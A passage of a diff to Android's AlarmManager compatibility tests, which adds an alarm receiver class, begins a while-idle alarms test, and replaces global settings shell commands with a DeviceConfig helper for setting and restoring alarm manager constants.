+                PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
         switch (intent.getAction()) {
             case ACTION_SET_ALARM_CLOCK:
                 if (!intent.hasExtra(EXTRA_ALARM_CLOCK_INFO)) {
@@ -56,7 +60,7 @@
                 }
                 final AlarmManager.AlarmClockInfo alarmClockInfo =
                         intent.getParcelableExtra(EXTRA_ALARM_CLOCK_INFO);
-                Log.d(TAG, "Setting alarm clock " + alarmClockInfo);
+                Log.d(TAG, "Setting alarm clock " + alarmClockInfo + " id: " + id);
                 am.setAlarmClock(alarmClockInfo, alarmClockSender);
                 break;
             case ACTION_SET_ALARM:
@@ -69,7 +73,7 @@
                 final long interval = intent.getLongExtra(EXTRA_REPEAT_INTERVAL, 0);
                 final boolean allowWhileIdle = intent.getBooleanExtra(EXTRA_ALLOW_WHILE_IDLE,
                         false);
-                Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
+                Log.d(TAG, "Setting alarm: id=" + id + " type=" + type + ", triggerTime=" + triggerTime
                         + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
                 if (interval > 0) {
                     am.setRepeating(type, triggerTime, interval, alarmSender);
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java
new file mode 100644
index 0000000..e3c6ee2
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmReceiver.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.LongArray;
+
+import androidx.annotation.GuardedBy;
+
+import java.util.Arrays;
+
+public class AlarmReceiver extends BroadcastReceiver {
+    private static final String TAG = AlarmReceiver.class.getSimpleName();
+    public static final String ALARM_ACTION = "android.alarmmanager.cts.ALARM";
+    public static final String EXTRA_ALARM_ID = "android.alarmmanager.cts.extra.ALARM_ID";
+    public static final String EXTRA_QUOTAED = "android.alarmmanager.cts.extra.QUOTAED";
+
+    static Object sWaitLock = new Object();
+
+    @GuardedBy("sWaitLock")
+    private static int sLastAlarmId;
+    /** Process global history of all alarms received -- useful in quota calculations */
+    private static LongArray sHistory = new LongArray();
+
+    static synchronized long getNthLastAlarmTime(int n) {
+        if (n <= 0 || n > sHistory.size()) {
+            return 0;
+        }
+        return sHistory.get(sHistory.size() - n);
+    }
+
+    private static synchronized void recordAlarmTime(long timeOfReceipt) {
+        if (sHistory.size() == 0 || sHistory.get(sHistory.size() - 1) < timeOfReceipt) {
+            sHistory.add(timeOfReceipt);
+        }
+    }
+
+    static boolean waitForAlarm(int alarmId, long timeOut) throws InterruptedException {
+        final long deadline = SystemClock.elapsedRealtime() + timeOut;
+        synchronized (sWaitLock) {
+            while (sLastAlarmId != alarmId && SystemClock.elapsedRealtime() < deadline) {
+                sWaitLock.wait(timeOut);
+            }
+            return sLastAlarmId == alarmId;
+        }
+    }
+
+    /**
+     * Used to dump debugging information when the test fails.
+     */
+    static void dumpState() {
+        synchronized (sWaitLock) {
+            Log.i(TAG, "Last id: " + sLastAlarmId);
+        }
+        synchronized (AlarmReceiver.class) {
+            if (sHistory.size() > 0) {
+                Log.i(TAG, "History of quotaed alarms: " + Arrays.toString(sHistory.toArray()));
+            }
+        }
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (ALARM_ACTION.equals(intent.getAction())) {
+            final int id = intent.getIntExtra(EXTRA_ALARM_ID, -1);
+            final boolean quotaed = intent.getBooleanExtra(EXTRA_QUOTAED, false);
+            if (quotaed) {
+                recordAlarmTime(SystemClock.elapsedRealtime());
+            }
+            synchronized (sWaitLock) {
+                sLastAlarmId = id;
+                sWaitLock.notifyAll();
+            }
+        }
+    }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 83db3f9..3b384c2 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -33,6 +33,7 @@
 import android.os.BatteryManager;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 import android.util.LongArray;
@@ -42,6 +43,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -68,7 +70,6 @@
     private static final long POLL_INTERVAL = 200;
 
     // Tweaked alarm manager constants to facilitate testing
-    private static final long ALLOW_WHILE_IDLE_SHORT_TIME = 10_000;
     private static final long MIN_FUTURITY = 1_000;
 
     // Not touching ACTIVE and RARE parameters for this test
@@ -83,9 +84,9 @@
 
     private static final long APP_STANDBY_WINDOW = 10_000;
     private static final String[] APP_BUCKET_QUOTA_KEYS = {
-            "standby_working_quota",
-            "standby_frequent_quota",
-            "standby_rare_quota",
+            "standby_quota_working",
+            "standby_quota_frequent",
+            "standby_quota_rare",
     };
     private static final int[] APP_STANDBY_QUOTAS = {
             5,  // Working set
@@ -93,26 +94,6 @@
             1,  // Rare
     };
 
-    // Settings common for all tests
-    private static final String COMMON_SETTINGS;
-
-    static {
-        final StringBuilder settings = new StringBuilder();
-        settings.append("min_futurity=");
-        settings.append(MIN_FUTURITY);
-        settings.append(",allow_while_idle_short_time=");
-        settings.append(ALLOW_WHILE_IDLE_SHORT_TIME);
-        settings.append(",app_standby_window=");
-        settings.append(APP_STANDBY_WINDOW);
-        for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
-            settings.append(",");
-            settings.append(APP_BUCKET_QUOTA_KEYS[i]);
-            settings.append("=");
-            settings.append(APP_STANDBY_QUOTAS[i]);
-        }
-        COMMON_SETTINGS = settings.toString();
-    }
-
     // Save the state before running tests to restore it after we finish testing.
     private static boolean sOrigAppStandbyEnabled;
     // Test app's alarm history to help predict when a subsequent alarm is going to get deferred.
@@ -122,6 +103,7 @@
     private ComponentName mAlarmScheduler;
     private UiDevice mUiDevice;
     private AtomicInteger mAlarmCount;
+    private DeviceConfigStateHelper mAlarmManagerDeviceConfigStateHelper;
 
     private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
         @Override
@@ -151,6 +133,8 @@
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = new AtomicInteger(0);
+        mAlarmManagerDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
         updateAlarmManagerConstants();
         setBatteryCharging(false);
         final IntentFilter intentFilter = new IntentFilter();
@@ -159,13 +143,12 @@
         assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
     }
 
-    private void scheduleAlarm(long triggerMillis, boolean allowWhileIdle, long interval) {
+    private void scheduleAlarm(long triggerMillis, long interval) {
         final Intent setAlarmIntent = new Intent(TestAlarmScheduler.ACTION_SET_ALARM);
         setAlarmIntent.setComponent(mAlarmScheduler);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_TYPE, ELAPSED_REALTIME_WAKEUP);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_TRIGGER_TIME, triggerMillis);
         setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_REPEAT_INTERVAL, interval);
-        setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_ALLOW_WHILE_IDLE, allowWhileIdle);
         setAlarmIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         mContext.sendBroadcast(setAlarmIntent);
     }
@@ -196,13 +179,13 @@
                 firstTrigger + ((quota - 1) * MIN_FUTURITY) < desiredTrigger);
         for (int i = 0; i < quota; i++) {
             final long trigger = firstTrigger + (i * MIN_FUTURITY);
-            scheduleAlarm(trigger, false, 0);
+            scheduleAlarm(trigger, 0);
             Thread.sleep(trigger - SystemClock.elapsedRealtime());
             assertTrue("Alarm within quota not firing as expected", waitForAlarm());
         }
 
         // Now quota is reached, any subsequent alarm should get deferred.
-        scheduleAlarm(desiredTrigger, false, 0);
+        scheduleAlarm(desiredTrigger, 0);
         Thread.sleep(desiredTrigger - SystemClock.elapsedRealtime());
         assertFalse("Alarm exceeding quota not deferred", waitForAlarm());
         final long minTrigger = firstTrigger + APP_STANDBY_WINDOW;
@@ -215,7 +198,7 @@
         setAppStandbyBucket("active");
         long nextTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
         for (int i = 0; i < 3; i++) {
-            scheduleAlarm(nextTrigger, false, 0);
+            scheduleAlarm(nextTrigger, 0);
             Thread.sleep(MIN_FUTURITY);
             assertTrue("Alarm not received as expected when app is in active", waitForAlarm());
             nextTrigger += MIN_FUTURITY;
@@ -241,7 +224,7 @@
     public void testNeverQuota() throws Exception {
         setAppStandbyBucket("never");
         final long expectedTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(expectedTrigger, true, 0);
+        scheduleAlarm(expectedTrigger, 0);
         Thread.sleep(10_000);
         assertFalse("Alarm received when app was in never bucket", waitForAlarm());
     }
@@ -256,43 +239,11 @@
     }
 
     @Test
-    public void testAllowWhileIdleAlarms() throws Exception {
-        updateAlarmManagerConstants();
-        setAppStandbyBucket("active");
-        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(firstTrigger, true, 0);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("first allow_while_idle alarm did not go off as scheduled", waitForAlarm());
-        long lastTriggerTime = sAlarmHistory.getLast(1);
-        scheduleAlarm(lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME / 3, true, 0);
-        // First check for the case where allow_while_idle delay should supersede app standby
-        setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
-        Thread.sleep(ALLOW_WHILE_IDLE_SHORT_TIME / 2);
-        assertFalse("allow_while_idle alarm went off before short time", waitForAlarm());
-        long expectedTriggerTime = lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME;
-        Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
-        assertTrue("allow_while_idle alarm did not go off after short time", waitForAlarm());
-
-        // Now the other case, app standby delay supersedes the allow_while_idle delay
-        lastTriggerTime = sAlarmHistory.getLast(1);
-        scheduleAlarm(lastTriggerTime + APP_STANDBY_WINDOW / 10, true, 0);
-        setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
-        Thread.sleep(APP_STANDBY_WINDOW / 20);
-        assertFalse("allow_while_idle alarm went off before " + APP_STANDBY_WINDOW
-                + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
-        expectedTriggerTime = lastTriggerTime + APP_STANDBY_WINDOW;
-        Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
-        assertTrue("allow_while_idle alarm did not go off even after "
-                + APP_STANDBY_WINDOW
-                + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
-    }
-
-    @Test
     public void testPowerWhitelistedAlarmNotBlocked() throws Exception {
         setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
         setPowerWhitelisted(true);
         final long triggerTime = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(triggerTime, false, 0);
+        scheduleAlarm(triggerTime, 0);
         Thread.sleep(MIN_FUTURITY);
         assertTrue("Alarm did not go off for whitelisted app in rare bucket", waitForAlarm());
         setPowerWhitelisted(false);
@@ -302,7 +253,7 @@
     public void tearDown() throws Exception {
         setPowerWhitelisted(false);
         setBatteryCharging(true);
-        deleteAlarmManagerConstants();
+        mAlarmManagerDeviceConfigStateHelper.restoreOriginalValues();
         final Intent cancelAlarmsIntent = new Intent(TestAlarmScheduler.ACTION_CANCEL_ALL_ALARMS);
         cancelAlarmsIntent.setComponent(mAlarmScheduler);
         mContext.sendBroadcast(cancelAlarmsIntent);
@@ -318,10 +269,14 @@
         }
     }
 
-    private void updateAlarmManagerConstants() throws IOException {
-        final StringBuffer cmd = new StringBuffer("settings put global alarm_manager_constants ");
-        cmd.append(COMMON_SETTINGS);
-        executeAndLog(cmd.toString());
+    private void updateAlarmManagerConstants() {
+        mAlarmManagerDeviceConfigStateHelper.set("min_futurity", String.valueOf(MIN_FUTURITY));
+        mAlarmManagerDeviceConfigStateHelper.set("app_standby_window",
+                String.valueOf(APP_STANDBY_WINDOW));
+        for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
+            mAlarmManagerDeviceConfigStateHelper.set(APP_BUCKET_QUOTA_KEYS[i],
+                    String.valueOf(APP_STANDBY_QUOTAS[i]));
+        }
     }
 
     private void setPowerWhitelisted(boolean whitelist) throws IOException {
@@ -331,10 +286,6 @@
         executeAndLog(cmd.toString());
     }
 
-    private void deleteAlarmManagerConstants() throws IOException {
-        executeAndLog("settings delete global alarm_manager_constants");
-    }
-
     private void setAppStandbyBucket(String bucket) throws IOException {
         executeAndLog("am set-standby-bucket " + TEST_APP_PACKAGE + " " + bucket);
     }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
index 53937c5..4257689 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -29,6 +29,7 @@
 import android.content.IntentFilter;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
@@ -36,6 +37,8 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -62,20 +65,19 @@
     private static final long POLL_INTERVAL = 200;
     private static final long MIN_REPEATING_INTERVAL = 10_000;
 
-    private Object mLock = new Object();
     private Context mContext;
     private ComponentName mAlarmScheduler;
+    private DeviceConfigStateHelper mDeviceConfigStateHelper;
     private UiDevice mUiDevice;
-    private int mAlarmCount;
+    private volatile int mAlarmCount;
 
     private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
+            mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
             Log.d(TAG, "Received action " + intent.getAction()
                     + " elapsed: " + SystemClock.elapsedRealtime());
-            synchronized (mLock) {
-                mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
-            }
+
         }
     };
 
@@ -85,8 +87,12 @@
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = 0;
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
         updateAlarmManagerConstants();
+        updateBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_IGNORED);
+        makeUidIdle();
         final IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
         mContext.registerReceiver(mAlarmStateReceiver, intentFilter);
@@ -150,6 +156,7 @@
     @After
     public void tearDown() throws Exception {
         deleteAlarmManagerConstants();
+        resetBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_ALLOWED);
         // Cancel any leftover alarms
         final Intent cancelAlarmsIntent = new Intent(TestAlarmScheduler.ACTION_CANCEL_ALL_ALARMS);
@@ -160,14 +167,13 @@
         Thread.sleep(DEFAULT_WAIT);
     }
 
-    private void updateAlarmManagerConstants() throws IOException {
-        String cmd = "settings put global alarm_manager_constants min_futurity=0,min_interval="
-                + MIN_REPEATING_INTERVAL;
-        mUiDevice.executeShellCommand(cmd);
+    private void updateAlarmManagerConstants() {
+        mDeviceConfigStateHelper.set("min_futurity", "0");
+        mDeviceConfigStateHelper.set("min_interval", String.valueOf(MIN_REPEATING_INTERVAL));
     }
 
-    private void deleteAlarmManagerConstants() throws IOException {
-        mUiDevice.executeShellCommand("settings delete global alarm_manager_constants");
+    private void deleteAlarmManagerConstants() {
+        mDeviceConfigStateHelper.restoreOriginalValues();
     }
 
     private void setAppStandbyBucket(String bucket) throws IOException {
@@ -184,14 +190,26 @@
         mUiDevice.executeShellCommand(commandBuilder.toString());
     }
 
+    private void updateBackgroundSettleTime() throws IOException {
+        mUiDevice.executeShellCommand(
+                "settings put global activity_manager_constants background_settle_time=100");
+    }
+
+    private void resetBackgroundSettleTime() throws IOException {
+        mUiDevice.executeShellCommand("settings delete global activity_manager_constants");
+    }
+
+    private void makeUidIdle() throws IOException {
+        mUiDevice.executeShellCommand("cmd devideidle tempwhitelist -r " + TEST_APP_PACKAGE);
+        mUiDevice.executeShellCommand("am make-uid-idle " + TEST_APP_PACKAGE);
+    }
+
     private boolean waitForAlarms(int expectedAlarms, long timeout) throws InterruptedException {
         final long deadLine = SystemClock.uptimeMillis() + timeout;
         int alarmCount;
         do {
             Thread.sleep(POLL_INTERVAL);
-            synchronized (mLock) {
-                alarmCount = mAlarmCount;
-            }
+            alarmCount = mAlarmCount;
         } while (alarmCount < expectedAlarms && SystemClock.uptimeMillis() < deadLine);
         return alarmCount >= expectedAlarms;
     }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
index 6a34088..c1b63dc 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
@@ -23,11 +23,12 @@
 import android.content.Context;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeInstant;
+import android.provider.DeviceConfig;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 
 import org.junit.After;
 import org.junit.Before;
@@ -47,11 +48,14 @@
 
     private AlarmManager mAlarmManager;
     private Context mContext;
+    private DeviceConfigStateHelper mDeviceConfigStateHelper;
 
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getTargetContext();
         mAlarmManager = mContext.getSystemService(AlarmManager.class);
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
         assumeTrue(mContext.getPackageManager().isInstantApp());
         updateAlarmManagerSettings();
     }
@@ -79,12 +83,10 @@
 
     @After
     public void deleteAlarmManagerSettings() {
-        SystemUtil.runShellCommand("settings delete global alarm_manager_constants");
+        mDeviceConfigStateHelper.restoreOriginalValues();
     }
 
     private void updateAlarmManagerSettings() {
-        final StringBuffer cmd = new StringBuffer("settings put global alarm_manager_constants ");
-        cmd.append("min_futurity=0");
-        SystemUtil.runShellCommand(cmd.toString());
+        mDeviceConfigStateHelper.set("min_futurity", "0");
     }
 }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index c64b4d1..2d7397d 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -16,6 +16,9 @@
 
 package android.alarmmanager.cts;
 
+import static android.app.AlarmManager.ELAPSED_REALTIME_WAKEUP;
+import static android.app.AlarmManager.RTC_WAKEUP;
+
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
@@ -26,6 +29,8 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -33,6 +38,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
@@ -46,6 +52,7 @@
 /**
  * Tests that system time changes are handled appropriately for alarms
  */
+@AppModeFull
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class TimeChangeTests {
@@ -56,6 +63,7 @@
 
     private final Context mContext = InstrumentationRegistry.getTargetContext();
     private final AlarmManager mAlarmManager = mContext.getSystemService(AlarmManager.class);
+    private DeviceConfigStateHelper mDeviceConfigStateHelper;
     private PendingIntent mAlarmPi;
     private long mTestStartRtc;
     private long mTestStartElapsed;
@@ -91,14 +99,16 @@
     }
 
     @Before
-    public void setUp() {
+    public void setUp() throws Exception {
         final Intent alarmIntent = new Intent(ACTION_ALARM)
                 .setPackage(mContext.getPackageName())
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, 0);
+        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE);
         final IntentFilter alarmFilter = new IntentFilter(ACTION_ALARM);
         mContext.registerReceiver(mAlarmReceiver, alarmFilter);
-        SystemUtil.runShellCommand("settings put global alarm_manager_constants min_futurity=500");
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
+        mDeviceConfigStateHelper.set("min_futurity", "500");
         BatteryUtils.runDumpsysBatteryUnplug();
         mTestStartRtc = System.currentTimeMillis();
         mTestStartElapsed = SystemClock.elapsedRealtime();
@@ -111,8 +121,7 @@
     public void elapsedAlarmsUnaffected() throws Exception {
         final long delayElapsed = 5_000;
         final long expectedTriggerElapsed = mTestStartElapsed + delayElapsed;
-        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP,
-                expectedTriggerElapsed, mAlarmPi);
+        mAlarmManager.setExact(ELAPSED_REALTIME_WAKEUP, expectedTriggerElapsed, mAlarmPi);
         final long newRtc = mTestStartRtc - 32 * MILLIS_IN_MINUTE; // arbitrary, shouldn't matter
         setTime(newRtc);
         Thread.sleep(delayElapsed);
@@ -125,8 +134,7 @@
         final long newRtc = mTestStartRtc + 14 * MILLIS_IN_MINUTE; // arbitrary, but in the future
         final long delayRtc = 4_231;
         final long expectedTriggerRtc = newRtc + delayRtc;
-        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, expectedTriggerRtc,
-                mAlarmPi);
+        mAlarmManager.setExact(RTC_WAKEUP, expectedTriggerRtc, mAlarmPi);
         Thread.sleep(delayRtc);
         assertFalse("Alarm fired before time was changed",
                 mAlarmLatch.await(DEFAULT_WAIT_MILLIS, TimeUnit.MILLISECONDS));
@@ -138,7 +146,7 @@
 
     @After
     public void tearDown() {
-        SystemUtil.runShellCommand("settings delete global alarm_manager_constants");
+        mDeviceConfigStateHelper.restoreOriginalValues();
         BatteryUtils.runDumpsysBatteryReset();
         if (mTimeChanged) {
             // Make an attempt at resetting the clock to normal
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
index d6b5af9..f96de32 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
@@ -17,6 +17,8 @@
 
 package android.alarmmanager.cts;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import static org.junit.Assert.fail;
 
 import android.app.AlarmManager;
@@ -24,12 +26,13 @@
 import android.content.Context;
 import android.content.Intent;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 
 import org.junit.After;
 import org.junit.Before;
@@ -37,6 +40,7 @@
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
+import java.util.concurrent.atomic.AtomicReference;
 
 @AppModeFull
 @RunWith(AndroidJUnit4.class)
@@ -54,21 +58,33 @@
 
     private AlarmManager mAlarmManager;
     private Context mContext;
+    private DeviceConfigStateHelper mDeviceConfigStateHelper;
     private ArrayList<PendingIntent> mAlarmsSet = new ArrayList<>();
 
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getTargetContext();
         mAlarmManager = mContext.getSystemService(AlarmManager.class);
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
     }
 
     @Test
     public void sufficientAlarmsAllowedByDefault() {
-        deleteAlarmManagerConstants();
+        // Remove any set config values so we can test the underlying defaults.
+        final AtomicReference<DeviceConfig.Properties> reference = new AtomicReference<>();
+        runWithShellPermissionIdentity(
+                () -> reference.set(
+                        DeviceConfig.getProperties(DeviceConfig.NAMESPACE_ALARM_MANAGER)),
+                "android.permission.READ_DEVICE_CONFIG");
+        for (String key : reference.get().getKeyset()) {
+            mDeviceConfigStateHelper.set(key, null);
+        }
+
         for (int i = 1; i <= SUFFICIENT_NUM_ALARMS; i++) {
             try {
                 final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
-                        new Intent(ACTION_PREFIX + i), 0);
+                        new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
                 mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
                 mAlarmsSet.add(pi);
             } catch (Exception e) {
@@ -84,13 +100,13 @@
         setMaxAlarmsPerUid(limit);
         for (int i = 0; i < limit; i++) {
             final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
-                    new Intent(ACTION_PREFIX + i), 0);
+                    new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
             mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
             mAlarmsSet.add(pi);
         }
 
         final PendingIntent lastPi = PendingIntent.getBroadcast(mContext, 0,
-                new Intent(ACTION_PREFIX + limit), 0);
+                new Intent(ACTION_PREFIX + limit), PendingIntent.FLAG_IMMUTABLE);
         for (int type : ALARM_TYPES) {
             try {
                 mAlarmManager.set(type, Long.MAX_VALUE, lastPi);
@@ -103,8 +119,7 @@
     }
 
     private void setMaxAlarmsPerUid(int maxAlarmsPerUid) {
-        SystemUtil.runShellCommand("settings put global alarm_manager_constants max_alarms_per_uid="
-                + maxAlarmsPerUid);
+        mDeviceConfigStateHelper.set("max_alarms_per_uid", String.valueOf(maxAlarmsPerUid));
     }
 
     @After
@@ -117,6 +132,6 @@
 
     @After
     public void deleteAlarmManagerConstants() {
-        SystemUtil.runShellCommand("settings delete global alarm_manager_constants");
+        mDeviceConfigStateHelper.restoreOriginalValues();
     }
 }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/WhileIdleAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/WhileIdleAlarmsTest.java
new file mode 100644
index 0000000..41d6555
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/WhileIdleAlarmsTest.java
@@ -0,0 +1,336 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.AlarmManager;
+import android.app.AppOpsManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.os.PowerWhitelistManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
